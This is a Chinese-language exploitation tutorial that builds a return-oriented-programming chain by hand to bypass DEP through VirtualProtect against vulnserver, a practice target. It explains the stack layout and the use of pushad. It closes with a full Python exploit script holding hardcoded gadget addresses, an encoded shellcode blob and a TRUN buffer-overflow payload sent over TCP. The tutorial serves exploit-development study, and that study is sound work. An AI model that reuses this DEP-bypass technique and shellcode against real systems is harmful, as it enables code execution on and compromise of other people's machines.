上一篇是通过 mona 自动生成的ROP链,但如果没弄懂原理,只会用工具,那显然人就凉了。
这篇文章我采用手工构造ROP。 有趣的是,在构造的过程中意外的理解了 mona 的 rop chain 原理。
环境
操作系统:Windows 10 x64 (运行的是32位的程序)
漏洞程序:vulnserver (国外研究员开发用来练习漏洞利用的程序)
绕过DEP的方法
与上一篇不同,这次我使用 VirtualProtect 函数。
1 2 3 4 5 6
| BOOL VirtualProtect( LPVOID lpAddress, DWORD dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
|
该函数用于修改一个区域的保护属性,可以将受到DEP保护的区域改成可执行区域。所以我们可以将shellcode布置到栈上,然后调用该函数将栈的属性改为可执行。
关于 flNewProtect 参数,我们可以修改如下几个值。
我们使用0x40即可,将区域改成可读可写可执行(PAGE_EXECUTE_READWRITE)。
1 2 3 4 5 6 7 8 9
| Protection flags: PAGE_EXECUTE = 0x10 PAGE_EXECUTE_READ = 0x20 PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_WRITECOPY = 0x80 PAGE_NOACCESS = 0x01 PAGE_READONLY = 0x02 PAGE_READWRITE = 0x04 PAGE_WRITECOPY = 0x08
|
构造rop chain
第一步,我们先来找 VirtualProtect 的调用,可以使用x64dbg(x32dbg),非常方便。
搜索VirtualProtect,找到了好几条调用,逐个观察找一个合适的。
选择一个调用,然后一步一步跟随指针找到最终的 VirtualProtect。
这里我选择 0x7680ea26 用来构造ROP,为啥要有加一个push ecx呢?因为要用来平衡栈。
这里一系列push、mov来操作ebp,都是为了获取参数中的值。具体我就不分析每个指令对应哪个值了,直接给出答案。
在执行到7680EA27 mov eax,dword ptr ss:[ebp+c]
这条指令时,对应栈区要有如下布局:
最终要的是这两行:
1 2 3 4
| 0336f9e8 00000040 000021c7 0336f9f0 0336fa08 → (该函数的返回地址) 0336f9f8 0336f9fc 00000291 00000040 0336fa00 ↓ ↓ ↓ ↓ (shellcode地址) (size) (保护属性) (随便一个可写地址)
|
然后就可以开始构造参数了,起初我的想法是像《0day安全软件漏洞分析技术》里那样,将参数直接写在Payload里,然后再随便做做微调就行了。实施的时候才反应过来,漏洞函数是strcpy,也就意味着Payload里不能有0x00,但是我们的参数中又必须得用0x00,比如flNewProtect要写成0x00000040。而且,我的栈地址是随机的,也就是不能写固定的地址,必须通过ROP的方式动态的写。
一条可行的方法,就是将参数先保存在寄存器里,最后逐个将寄存器push到栈上。但是用啥指令可以将寄存器的值push到栈中? 第一直觉是使用 push r32 ; retn
,但这种指令不可用,因为retn到的是你push的内容。
然后再想,可以找一条连续push的指令 push eax ; push ebx; push ecx; push edx ; retn
,但很遗憾,没有找到这样的指令。然后Google一下,这时我才明白 mona 为什么要用 pushad
这条指令,原来它的作用就是将r32寄存器全部一次性入栈。
根据我的测试,它的入栈顺序是这样的:
1 2 3 4 5 6 7 8
| push eax (lpflOldProtect,任意可写地址) push ecx (保护属性,0x40) push edx (size) push ebx (shellcode起始地址) push esp (返回地址) push ebp (指向返回地址-4的位置) push esi push edi
|
接下来思路就明晰了,这些寄存器对应着我们的参数布局,只要通过rop指令将寄存器设置成恰当的值即可。有趣的是,恰好esp对应的是返回地址,这样等VirtualProtect 函数返回时,将直接返回到栈上执行我们的shellcode。
这里要注意的是ebp的值,它需要指向返回地址-4的地方,这样才能正常的获取到参数。
利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| import socket import sys import struct
host = '127.0.0.1' port = 6666
def create_rop_chain(): rop_gadgets = [ 0x74E18A41, 0x7680ea26, 0x770D708F, 0x76ED36F5, 0x76ED36F5, 0x76ED36F5, 0x76ED36F5, 0x77211F4D, 0x74e049f2, 0x76F13E4F, 0x77251BF4, 0x765BF031, 0x90909090, 0x90909090, 0x76872EBF, 0x76876802, 0x7714c5ee ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
shellcode = b"\xda\xdb\xbe\x7a\x98\xa7\x3b\xd9\x74\x24\xf4\x5f\x29" shellcode += b"\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc\x03\x77\x6e\x7a" shellcode += b"\x52\xc7\x66\xf8\x9d\x38\x76\x9d\x14\xdd\x47\x9d\x43" shellcode += b"\x95\xf7\x2d\x07\xfb\xfb\xc6\x45\xe8\x88\xab\x41\x1f" shellcode += b"\x39\x01\xb4\x2e\xba\x3a\x84\x31\x38\x41\xd9\x91\x01" shellcode += b"\x8a\x2c\xd3\x46\xf7\xdd\x81\x1f\x73\x73\x36\x14\xc9" shellcode += b"\x48\xbd\x66\xdf\xc8\x22\x3e\xde\xf9\xf4\x35\xb9\xd9" shellcode += b"\xf7\x9a\xb1\x53\xe0\xff\xfc\x2a\x9b\xcb\x8b\xac\x4d" shellcode += b"\x02\x73\x02\xb0\xab\x86\x5a\xf4\x0b\x79\x29\x0c\x68" shellcode += b"\x04\x2a\xcb\x13\xd2\xbf\xc8\xb3\x91\x18\x35\x42\x75" shellcode += b"\xfe\xbe\x48\x32\x74\x98\x4c\xc5\x59\x92\x68\x4e\x5c" shellcode += b"\x75\xf9\x14\x7b\x51\xa2\xcf\xe2\xc0\x0e\xa1\x1b\x12" shellcode += b"\xf1\x1e\xbe\x58\x1f\x4a\xb3\x02\x75\x8d\x41\x39\x3b" shellcode += b"\x8d\x59\x42\x6b\xe6\x68\xc9\xe4\x71\x75\x18\x41\x8d" shellcode += b"\x3f\x01\xe3\x06\xe6\xd3\xb6\x4a\x19\x0e\xf4\x72\x9a" shellcode += b"\xbb\x84\x80\x82\xc9\x81\xcd\x04\x21\xfb\x5e\xe1\x45" shellcode += b"\xa8\x5f\x20\x26\x2f\xcc\xa8\x87\xca\x74\x4a\xd8"
payload = 'TRUN .' payload += 'A' * 2006 payload += rop_chain payload += "\x90" * 6 payload += shellcode payload += 'C'* len(payload) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.recv(1024) s.send(payload) s.close() except Exception, e: print e
|